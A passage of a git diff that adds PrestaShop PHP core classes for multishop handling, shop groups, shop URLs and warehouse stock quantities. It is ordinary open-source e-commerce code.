' AND '.$table_alias.'.id_shop = '.$alias.'.id_shop_default'; + else + $sql .= ' AND '.$table_alias.'.id_shop IN ('.implode(', ', Shop::getContextListShopID()).')'; + $sql .= (($on) ? ' AND '.$on : '').')'; + return $sql; + } + + /** + * Add a restriction on id_shop for multishop lang table + * + * @param string $alias + * @param Context $context + * @return string + */ + public static function addSqlRestrictionOnLang($alias = null, $id_shop = null) + { + if (is_null($id_shop)) + $id_shop = (int)Context::getContext()->shop->id; + if (!$id_shop) + $id_shop = (int)Configuration::get('PS_SHOP_DEFAULT'); + + return ' AND '.(($alias) ? $alias.'.' : '').'id_shop = '.$id_shop.' '; + } + + /** + * Get all groups and associated shops as subarrays + * + * @return array + */ + public static function getTree() + { + Shop::cacheShops(); + return self::$shops; + } + + /** + * @return bool Return true if multishop feature is active and at last 2 shops have been created + */ + public static function isFeatureActive() + { + static $feature_active = null; + + if ($feature_active === null) + $feature_active = Configuration::getGlobalValue('PS_MULTISHOP_FEATURE_ACTIVE') && (Db::getInstance()->getValue('SELECT COUNT(*) FROM '._DB_PREFIX_.'shop') > 1); + + return $feature_active; + } + + public function copyShopData($old_id, $tables_import = false, $deleted = false) + { + // If we duplicate some specific data, automatically duplicate other data linked to the first + // E.g. if carriers are duplicated for the shop, duplicate carriers langs too + + if (!$old_id) + $old_id = Configuration::get('PS_SHOP_DEFAULT'); + + if (isset($tables_import['carrier'])) + { + $tables_import['carrier_tax_rules_group_shop'] = true; + $tables_import['carrier_lang'] = true; + } + + $tables_import['category_lang'] = true; + if (isset($tables_import['product'])) + $tables_import['product_lang'] = true; + + if (isset($tables_import['module'])) + { + $tables_import['module_currency'] = true; + $tables_import['module_country'] = true; + $tables_import['module_group'] = true; + } + + if (isset($tables_import['hook_module'])) + $tables_import['hook_module_exceptions'] = true; + + if (isset($tables_import['attribute_group'])) + $tables_import['attribute'] = true; + + // Browse and duplicate data + foreach (Shop::getAssoTables() as $table_name => $row) + { + if ($tables_import && !isset($tables_import[$table_name])) + continue; + + // Special case for stock_available if current shop is in a share stock group + if ($table_name == 'stock_available') + { + $group = new ShopGroup($this->id_shop_group); + if ($group->share_stock && $group->haveShops()) + continue; + } + + $id = 'id_'.$row['type']; + if ($row['type'] == 'fk_shop') + $id = 'id_shop'; + else + $table_name .= '_'.$row['type']; + + if (!$deleted) + { + $res = Db::getInstance()->getRow('SELECT * FROM `'._DB_PREFIX_.$table_name.'` WHERE `'.$id.'` = '.(int)$old_id); + if ($res) + { + unset($res[$id]); + if (isset($row['primary'])) + unset($res[$row['primary']]); + + $categories = Tools::getValue('categoryBox'); + if ($table_name == 'product_shop' && count($categories) == 1) + { + unset($res['id_category_default']); + $keys = implode('`, `', array_keys($res)); + $sql = 'INSERT IGNORE INTO `'._DB_PREFIX_.$table_name.'` (`'.$keys.'`, `id_category_default`, '.$id.') + (SELECT `'.$keys.'`, '.(int)$categories[0].', '.(int)$this->id.' FROM '._DB_PREFIX_.$table_name.' + WHERE `'.$id.'` = '.(int)$old_id.')'; + } + else + { + $keys = implode('`, `', array_keys($res)); + $sql = 'INSERT IGNORE INTO `'._DB_PREFIX_.$table_name.'` (`'.$keys.'`, '.$id.') + (SELECT `'.$keys.'`, '.(int)$this->id.' FROM '._DB_PREFIX_.$table_name.' + WHERE `'.$id.'` = '.(int)$old_id.')'; + } + Db::getInstance()->execute($sql); + } + } + } + + // Hook for duplication of shop data + $modules_list = Hook::getHookModuleExecList('actionShopDataDuplication'); + if (is_array($modules_list) && count($modules_list) > 0) + foreach ($modules_list as $m) + if (!$tables_import || isset($tables_import['Module'.ucfirst($m['module'])])) + Hook::exec('actionShopDataDuplication', array( + 'old_id_shop' => (int)$old_id, + 'new_id_shop' => (int)$this->id, + ), $m['id_module']); + } + + /** + * @static + * @param int $id + * @return array + */ + public static function getCategories($id = 0, $only_id = true) + { + // build query + $query = new DbQuery(); + if ($only_id) + $query->select('cs.`id_category`'); + else + $query->select('DISTINCT cs.`id_category`, cl.`name`, cl.`link_rewrite`'); + $query->from('category_shop', 'cs'); + $query->leftJoin('category_lang', 'cl', 'cl.`id_category` = cs.`id_category` AND cl.`id_lang` = '.(int)Context::getContext()->language->id); + $query->where('cs.`id_shop` = '.(int)$id); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + if ($only_id) + { + $array = array(); + foreach ($result as $row) + $array[] = $row['id_category']; + $array = array_unique($array); + } + else + return $result; + + return $array; + } + + /** + * @deprecated 1.5.0 Use shop->id + */ + public static function getCurrentShop() + { + Tools::displayAsDeprecated(); + return Context::getContext()->shop->id; + } + + /** + * @param string $entity + * @param int $id_shop + * @return array|bool + */ + public static function getEntityIds($entity, $id_shop, $active = false, $delete = false) + { + if (!Shop::isTableAssociated($entity)) + return false; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT entity.`id_'.pSQL($entity).'` + FROM `'._DB_PREFIX_.pSQL($entity).'_shop`es + LEFT JOIN '._DB_PREFIX_.pSQL($entity).' entity + ON (entity.`id_'.pSQL($entity).'` = es.`id_'.pSQL($entity).'`) + WHERE es.`id_shop` = '.(int)$id_shop. + ($active ? ' AND entity.`active` = 1' : ''). + ($delete ? ' AND entity.deleted = 0' : '') + ); + } +} diff --git a/classes/shop/ShopGroup.php b/classes/shop/ShopGroup.php new file mode 100755 index 0000000..2884639 --- /dev/null +++ b/classes/shop/ShopGroup.php @@ -0,0 +1,156 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class ShopGroupCore extends ObjectModel +{ + public $name; + public $active = true; + public $share_customer; + public $share_stock; + public $share_order; + public $deleted; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'shop_group', + 'primary' => 'id_shop_group', + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + 'share_customer' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'share_order' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'share_stock' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'deleted' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + ), + ); + + /** + * @see ObjectModel::getFields() + * @return array + */ + public function getFields() + { + if (!$this->share_customer || !$this->share_stock) + $this->share_order = false; + + return parent::getFields(); + } + + public static function getShopGroups($active = true) + { + $groups = new Collection('ShopGroup'); + $groups->where('deleted', '=', false); + if ($active) + $groups->where('active', '=', true); + return $groups; + } + + /** + * @return int Total of shop groups + */ + public static function getTotalShopGroup($active = true) + { + return count(ShopGroup::getShopGroups($active)); + } + + public function haveShops() + { + return (bool)$this->getTotalShops(); + } + + public function getTotalShops() + { + $sql = 'SELECT COUNT(*) + FROM '._DB_PREFIX_.'shop s + WHERE id_shop_group='.(int)$this->id; + return (int)Db::getInstance()->getValue($sql); + } + + public static function getShopsFromGroup($id_group) + { + $sql = 'SELECT s.`id_shop` + FROM '._DB_PREFIX_.'shop s + WHERE id_shop_group='.(int)$id_group; + return Db::getInstance()->executeS($sql); + } + + /** + * Return a group shop ID from group shop name + * + * @param string $name + * @return int + */ + public static function getIdByName($name) + { + $sql = 'SELECT id_shop_group + FROM '._DB_PREFIX_.'shop_group + WHERE name = \''.pSQL($name).'\''; + return (int)Db::getInstance()->getValue($sql); + } + + /** + * Detect dependency with customer or orders + * + * @param int $id_shop_group + * @param string $check all|customer|order + * @return bool + */ + public static function hasDependency($id_shop_group, $check = 'all') + { + $list_shops = Shop::getShops(false, $id_shop_group, true); + if (!$list_shops) + return false; + + if ($check == 'all' || $check == 'customer') + { + $total_customer = (int)Db::getInstance()->getValue(' + SELECT count(*) + FROM `'._DB_PREFIX_.'customer` + WHERE `id_shop` IN ('.implode(', ', $list_shops).')' + ); + if ($total_customer) + return true; + } + + if ($check == 'all' || $check == 'order') + { + $total_order = (int)Db::getInstance()->getValue(' + SELECT count(*) + FROM `'._DB_PREFIX_.'orders` + WHERE `id_shop` IN ('.implode(', ', $list_shops).')' + ); + if ($total_order) + return true; + } + + return false; + } +} diff --git a/classes/shop/ShopUrl.php b/classes/shop/ShopUrl.php new file mode 100755 index 0000000..62d43aa --- /dev/null +++ b/classes/shop/ShopUrl.php @@ -0,0 +1,167 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ShopUrlCore extends ObjectModel +{ + public $id_shop; + public $domain; + public $domain_ssl; + public $physical_uri; + public $virtual_uri; + public $main; + public $active; + + protected static $main_domain = null; + protected static $main_domain_ssl = null; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'shop_url', + 'primary' => 'id_shop_url', + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'main' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'domain' => array('type' => self::TYPE_STRING, 'required' => true, 'size' => 255, 'validate' => 'isCleanHtml'), + 'domain_ssl' => array('type' => self::TYPE_STRING, 'size' => 255, 'validate' => 'isCleanHtml'), + 'id_shop' => array('type' => self::TYPE_INT, 'required' => true), + 'physical_uri' => array('type' => self::TYPE_STRING, 'size' => 64), + 'virtual_uri' => array('type' => self::TYPE_STRING, 'size' => 64), + ), + ); + + /** + * @see ObjectModel::getFields() + * @return array + */ + public function getFields() + { + $this->physical_uri = trim($this->physical_uri, '/'); + if ($this->physical_uri) + $this->physical_uri = preg_replace('#/+#', '/', '/'.$this->physical_uri.'/'); + else + $this->physical_uri = '/'; + + $this->virtual_uri = trim($this->virtual_uri, '/'); + if ($this->virtual_uri) + $this->virtual_uri = preg_replace('#/+#', '/', trim($this->virtual_uri, '/')).'/'; + + return parent::getFields(); + } + + public function getBaseURI() + { + return $this->physical_uri.$this->virtual_uri; + } + + public function getURL($ssl = false) + { + if (!$this->id) + return; + + $url = ($ssl) ? 'https://'.$this->domain_ssl : 'http://'.$this->domain; + return $url.$this->getBaseUri(); + } + + /** + * Get list of shop urls + * + * @param bool $id_shop + * @return Collection + */ + public static function getShopUrls($id_shop = false) + { + $urls = new Collection('ShopUrl'); + if ($id_shop) + $urls->where('id_shop', '=', $id_shop); + return $urls; + } + + public function setMain() + { + $res = Db::getInstance()->update('shop_url', array('main' => 0), 'id_shop = '.(int)$this->id_shop); + $res &= Db::getInstance()->update('shop_url', array('main' => 1), 'id_shop_url = '.(int)$this->id); + $this->main = true; + + // Reset main URL for all shops to prevent problems + $sql = 'SELECT s1.id_shop_url FROM '._DB_PREFIX_.'shop_url s1 + WHERE ( + SELECT COUNT(*) FROM '._DB_PREFIX_.'shop_url s2 + WHERE s2.main = 1 + AND s2.id_shop = s1.id_shop + ) = 0 + GROUP BY s1.id_shop'; + foreach (Db::getInstance()->executeS($sql) as $row) + Db::getInstance()->update('shop_url', array('main' => 1), 'id_shop_url = '.$row['id_shop_url']); + + return $res; + } + + public function canAddThisUrl($domain, $domain_ssl, $physical_uri, $virtual_uri) + { + $physical_uri = trim($physical_uri, '/'); + + if ($physical_uri) + $physical_uri = preg_replace('#/+#', '/', '/'.$physical_uri.'/'); + else + $physical_uri = '/'; + + $virtual_uri = trim($virtual_uri, '/'); + if ($virtual_uri) + $virtual_uri = preg_replace('#/+#', '/', trim($virtual_uri, '/')).'/'; + + $sql = 'SELECT id_shop_url + FROM '._DB_PREFIX_.'shop_url + WHERE physical_uri = \''.pSQL($physical_uri).'\' + AND virtual_uri = \''.pSQL($virtual_uri).'\' + AND (domain = \''.pSQL($domain).'\' '.(($domain_ssl) ? ' OR domain_ssl = \''.pSQL($domain_ssl).'\'' : '').')' + .($this->id ? ' AND id_shop_url != '.(int)$this->id : ''); + return Db::getInstance()->getValue($sql); + } + + public static function getMainShopDomain() + { + if (!self::$main_domain) + self::$main_domain = Db::getInstance()->getValue('SELECT domain + FROM '._DB_PREFIX_.'shop_url + WHERE main=1 AND id_shop = '.Context::getContext()->shop->id); + return self::$main_domain; + } + + public static function getMainShopDomainSSL() + { + if (!self::$main_domain_ssl) + { + $sql = 'SELECT domain_ssl + FROM '._DB_PREFIX_.'shop_url + WHERE main = 1 + AND id_shop='.Context::getContext()->shop->id; + self::$main_domain_ssl = Db::getInstance()->getValue($sql); + } + return self::$main_domain_ssl; + } +} diff --git a/classes/shop/index.php b/classes/shop/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/shop/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/stock/Stock.php b/classes/stock/Stock.php new file mode 100755 index 0000000..5d72263 --- /dev/null +++ b/classes/stock/Stock.php @@ -0,0 +1,161 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Represents the products kept in warehouses + * + * @since 1.5.0 + */ +class StockCore extends ObjectModel +{ + /** @var int identifier of the warehouse */ + public $id_warehouse; + + /** @var int identifier of the product */ + public $id_product; + + /** @var int identifier of the product attribute if necessary */ + public $id_product_attribute; + + /** @var string Product reference */ + public $reference; + + /** @var int Product EAN13 */ + public $ean13; + + /** @var string UPC */ + public $upc; + + /** @var int the physical quantity in stock for the current product in the current warehouse */ + public $physical_quantity; + + /** @var int the usable quantity (for sale) of the current physical quantity */ + public $usable_quantity; + + /** @var int the unit price without tax forthe current product */ + public $price_te; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'stock', + 'primary' => 'id_stock', + 'fields' => array( + 'id_warehouse' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_product_attribute' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'reference' => array('type' => self::TYPE_STRING, 'validate' => 'isReference'), + 'ean13' => array('type' => self::TYPE_STRING, 'validate' => 'isEan13'), + 'upc' => array('type' => self::TYPE_STRING, 'validate' => 'isUpc'), + 'physical_quantity' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'usable_quantity' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + 'price_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'fields' => array( + 'id_warehouse' => array('xlink_resource' => 'warehouses'), + 'id_product' => array('xlink_resource' => 'products'), + 'id_product_attribute' => array('xlink_resource' => 'combinations'), + 'real_quantity' => array('getter' => 'getWsRealQuantity', 'setter' => false), + ), + 'hidden_fields' => array( + ), + ); + + /** + * @see ObjectModel::update() + */ + public function update($null_values = false) + { + $this->getProductInformations(); + + return parent::update($null_values); + } + + /** + * @see ObjectModel::add() + */ + public function add($autodate = true, $null_values = false) + { + $this->getProductInformations(); + + return parent::add($autodate, $null_values); + } + + /** + * Gets reference, ean13 and upc of the current product + * Stores it in stock for stock_mvt integrity and history purposes + */ + protected function getProductInformations() + { + // if combinations + if ((int)$this->id_product_attribute > 0) + { + $query = new DbQuery(); + $query->select('reference, ean13, upc'); + $query->from('product_attribute'); + $query->where('id_product = '.(int)$this->id_product); + $query->where('id_product_attribute = '.(int)$this->id_product_attribute); + $rows = Db::getInstance()->executeS($query); + + if (!is_array($rows)) + return; + + foreach ($rows as $row) + { + $this->reference = $row['reference']; + $this->ean13 = $row['ean13']; + $this->upc = $row['upc']; + } + } + else // else, simple product + { + $product = new Product((int)$this->id_product); + if (Validate::isLoadedObject($product)) + { + $this->reference = $product->reference; + $this->ean13 = $product->ean13; + $this->upc = $product->upc; + } + } + } + + /** + * Webservice : used to get the real quantity of a product + */ + public function getWsRealQuantity() + { + $manager = StockManagerFactory::getManager(); + $quantity = $manager->getProductRealQuantities($this->id_product, $this->id_product_attribute, $this->id_warehouse, true); + return $quantity; + } +} \ No newline at end of file diff --git a/classes/stock/StockAvailable.php b/classes/stock/StockAvailable.php new file mode 100755 index 0000000..fbdaa1a --- /dev/null +++ b/classes/stock/StockAvailable.php @@ -0,0 +1,801 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Represents quantities available + * It is either synchronized with Stock or manualy set by the seller + * + * @since 1.5.0 + */ +class StockAvailableCore extends ObjectModel +{ + /** @var int identifier of the current product */ + public $id_product; + + /** @var int identifier of product attribute if necessary */ + public $id_product_attribute; + + /** @var int the shop associated to the current product and corresponding quantity */ + public $id_shop; + + /** @var int the group shop associated to the current product and corresponding quantity */ + public $id_shop_group; + + /** @var int the quantity available for sale */ + public $quantity = 0; + + /** @var bool determine if the available stock value depends on physical stock */ + public $depends_on_stock = false; + + /** @var bool determine if a product is out of stock - it was previously in Product class */ + public $out_of_stock = false; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'stock_available', + 'primary' => 'id_stock_available', + 'fields' => array( + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_product_attribute' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_shop_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'quantity' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + 'depends_on_stock' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'out_of_stock' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'fields' => array( + 'id_product' => array('xlink_resource' => 'products'), + 'id_product_attribute' => array('xlink_resource' => 'combinations'), + 'id_shop' => array('xlink_resource' => 'shops'), + 'id_shop_group' => array('xlink_resource' => 'shop_groups'), + ), + 'hidden_fields' => array( + ), + 'objectMethods' => array( + 'add' => 'addWs', + 'update' => 'updateWs', + ), + ); + + /** + * For a given {id_product, id_product_attribute and id_shop}, gets the stock available id associated + * + * @param int $id_product + * @param int $id_product_attribute Optional + * @param int $id_shop Optional + * @return int + */ + + public function updateWs() + { + if ($this->depends_on_stock) + return WebserviceRequest::getInstance()->setError(500, Tools::displayError('You can\'t update stock available when it\'s depend on stock')); + return $this->update(); + } + + public static function getStockAvailableIdByProductId($id_product, $id_product_attribute = null, $id_shop = null) + { + if (!Validate::isUnsignedId($id_product)) + return false; + + $query = new DbQuery(); + $query->select('id_stock_available'); + $query->from('stock_available'); + $query->where('id_product = '.(int)$id_product); + + if ($id_product_attribute !== null) + $query->where('id_product_attribute = '.(int)$id_product_attribute); + + $query = StockAvailable::addSqlShopRestriction($query, $id_shop); + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * For a given id_product, synchronizes StockAvailable::quantity with Stock::usable_quantity + * + * @param int $id_product + */ + public static function synchronize($id_product, $order_id_shop = null) + { + if (!Validate::isUnsignedId($id_product)) + return false; + + // gets warehouse ids grouped by shops + $ids_warehouse = Warehouse::getWarehousesGroupedByShops(); + if ($order_id_shop !== null) + { + $order_warehouses = array(); + $wh = Warehouse::getWarehouses(false, (int)$order_id_shop); + foreach ($wh as $warehouse) + $order_warehouses[] = $warehouse['id_warehouse']; + } + + // gets all product attributes ids + $ids_product_attribute = array(); + foreach (Product::getProductAttributesIds($id_product) as $id_product_attribute) + $ids_product_attribute[] = $id_product_attribute['id_product_attribute']; + + // Allow to order the product when out of stock? + $out_of_stock = StockAvailable::outOfStock($id_product); + + $manager = StockManagerFactory::getManager(); + // loops on $ids_warehouse to synchronize quantities + foreach ($ids_warehouse as $id_shop => $warehouses) + { + // first, checks if the product depends on stock for the given shop $id_shop + if (StockAvailable::dependsOnStock($id_product, $id_shop)) + { + // init quantity + $product_quantity = 0; + + // if it's a simple product + if (empty($ids_product_attribute)) + { + $allowed_warehouse_for_product = WareHouse::getProductWarehouseList((int)$id_product, 0, (int)$id_shop); + $allowed_warehouse_for_product_clean = array(); + foreach ($allowed_warehouse_for_product as $warehouse) + $allowed_warehouse_for_product_clean[] = (int)$warehouse['id_warehouse']; + $allowed_warehouse_for_product_clean = array_intersect($allowed_warehouse_for_product_clean, $warehouses); + if ($order_id_shop != null && !count(array_intersect($allowed_warehouse_for_product_clean, $order_warehouses))) + continue; + + $product_quantity = $manager->getProductRealQuantities($id_product, null, $allowed_warehouse_for_product_clean, true); + + Hook::exec('actionUpdateQuantity', + array( + 'id_product' => $id_product, + 'id_product_attribute' => 0, + 'quantity' => $product_quantity + ) + ); + } + // else this product has attributes, hence loops on $ids_product_attribute + else + { + foreach ($ids_product_attribute as $id_product_attribute) + { + + $allowed_warehouse_for_combination = WareHouse::getProductWarehouseList((int)$id_product, (int)$id_product_attribute, (int)$id_shop); + $allowed_warehouse_for_combination_clean = array(); + foreach ($allowed_warehouse_for_combination as $warehouse) + $allowed_warehouse_for_combination_clean[] = (int)$warehouse['id_warehouse']; + $allowed_warehouse_for_combination_clean = array_intersect($allowed_warehouse_for_combination_clean, $warehouses); + if ($order_id_shop != null && !count(array_intersect($allowed_warehouse_for_combination_clean, $order_warehouses))) + continue; + + $quantity = $manager->getProductRealQuantities($id_product, $id_product_attribute, $allowed_warehouse_for_combination_clean, true); + + $query = new DbQuery(); + $query->select('COUNT(*)'); + $query->from('stock_available'); + $query->where('id_product = '.(int)$id_product.' AND id_product_attribute = '.(int)$id_product_attribute. + StockAvailable::addSqlShopRestriction(null, $id_shop)); + + if ((int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query)) + { + $query = array( + 'table' => 'stock_available', + 'data' => array('quantity' => $quantity), + 'where' => 'id_product = '.(int)$id_product.' AND id_product_attribute = '.(int)$id_product_attribute. + StockAvailable::addSqlShopRestriction(null, $id_shop) + ); + Db::getInstance()->update($query['table'], $query['data'], $query['where']); + } + else + { + $query = array( + 'table' => 'stock_available', + 'data' => array( + 'quantity' => $quantity, + 'depends_on_stock' => 1, + 'out_of_stock' => $out_of_stock, + 'id_product' => (int)$id_product, + 'id_product_attribute' => (int)$id_product_attribute, + ) + ); + StockAvailable::addSqlShopParams($query['data']); + Db::getInstance()->insert($query['table'], $query['data']); + } + + $product_quantity += $quantity; + + Hook::exec('actionUpdateQuantity', + array( + 'id_product' => $id_product, + 'id_product_attribute' => $id_product_attribute, + 'quantity' => $quantity + ) + ); + } + } + // updates + // if $id_product has attributes, it also updates the sum for all attributes + $query = array( + 'table' => 'stock_available', + 'data' => array('quantity' => $product_quantity), + 'where' => 'id_product = '.(int)$id_product.' AND id_product_attribute = 0'. + StockAvailable::addSqlShopRestriction(null, $id_shop) + ); + Db::getInstance()->update($query['table'], $query['data'], $query['where']); + } + } + + // In case there are no warehouses, removes product from StockAvailable + if (count($ids_warehouse) == 0 && StockAvailable::dependsOnStock((int)$id_product)) + Db::getInstance()->update('stock_available', array('quantity' => 0 ), 'id_product = '.(int)$id_product); + } + + /** + * For a given id_product, sets if stock available depends on stock + * + * @param int $id_product + * @param int $depends_on_stock Optional : true by default + * @param int $id_shop Optional : gets context by default + */ + public static function setProductDependsOnStock($id_product, $depends_on_stock = true, $id_shop = null, $id_product_attribute = 0) + { + if (!Validate::isUnsignedId($id_product)) + return false; + + $existing_id = StockAvailable::getStockAvailableIdByProductId((int)$id_product, (int)$id_product_attribute, $id_shop); + if ($existing_id > 0) + { + Db::getInstance()->update('stock_available', array( + 'depends_on_stock' => (int)$depends_on_stock + ), 'id_stock_available = '.(int)$existing_id); + } + else + { + $params = array( + 'depends_on_stock' => (int)$depends_on_stock, + 'id_product' => (int)$id_product, + 'id_product_attribute' => (int)$id_product_attribute + ); + + StockAvailable::addSqlShopParams($params, $id_shop); + + Db::getInstance()->insert('stock_available', $params); + } + + // depends on stock.. hence synchronizes + if ($depends_on_stock) + StockAvailable::synchronize($id_product); + } + + /** + * For a given id_product, sets if product is available out of stocks + * + * @param int $id_product + * @param int $out_of_stock Optional false by default + * @param int $id_shop Optional gets context by default + */ + public static function setProductOutOfStock($id_product, $out_of_stock = false, $id_shop = null, $id_product_attribute = 0) + { + if (!Validate::isUnsignedId($id_product)) + return false; + + if ($id_shop === null) + $id_shop = Context::getContext()->shop->id; + + $existing_id = StockAvailable::getStockAvailableIdByProductId((int)$id_product, (int)$id_product_attribute, (int)$id_shop); + + if ($existing_id > 0) + { + Db::getInstance()->update( + 'stock_available', + array('out_of_stock' => (int)$out_of_stock), + 'id_product = '.(int)$id_product. + (($id_product_attribute) ? ' AND id_product_attribute = '.(int)$id_product_attribute : ''). + StockAvailable::addSqlShopRestriction(null, $id_shop) + ); + } + else + { + $params = array( + 'out_of_stock' => (int)$out_of_stock, + 'id_product' => (int)$id_product, + 'id_product_attribute' => (int)$id_product_attribute + ); + + StockAvailable::addSqlShopParams($params, $id_shop); + Db::getInstance()->insert('stock_available', $params); + } + } + + /** + * For a given id_product and id_product_attribute, gets its stock available + * + * @param int $id_product + * @param int $id_product_attribute Optional + * @param int $id_shop Optional : gets context by default + * @return int Quantity + */ + public static function getQuantityAvailableByProduct($id_product = null, $id_product_attribute = null, $id_shop = null) + { + // if null, it's a product without attributes + if ($id_product_attribute === null) + $id_product_attribute = 0; + + $query = new DbQuery(); + $query->select('SUM(quantity)'); + $query->from('stock_available'); + + // if null, it's a product without attributes + if ($id_product !== null) + $query->where('id_product = '.(int)$id_product); + + $query->where('id_product_attribute = '.(int)$id_product_attribute); + $query = StockAvailable::addSqlShopRestriction($query, $id_shop); + + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * Upgrades total_quantity_available after having saved + * @see ObjectModel::add() + */ + public function add($autodate = true, $null_values = false) + { + if (!$result = parent::add($autodate, $null_values)) + return false; + + $result &= $this->postSave(); + return $result; + } + + /** + * Upgrades total_quantity_available after having update + * 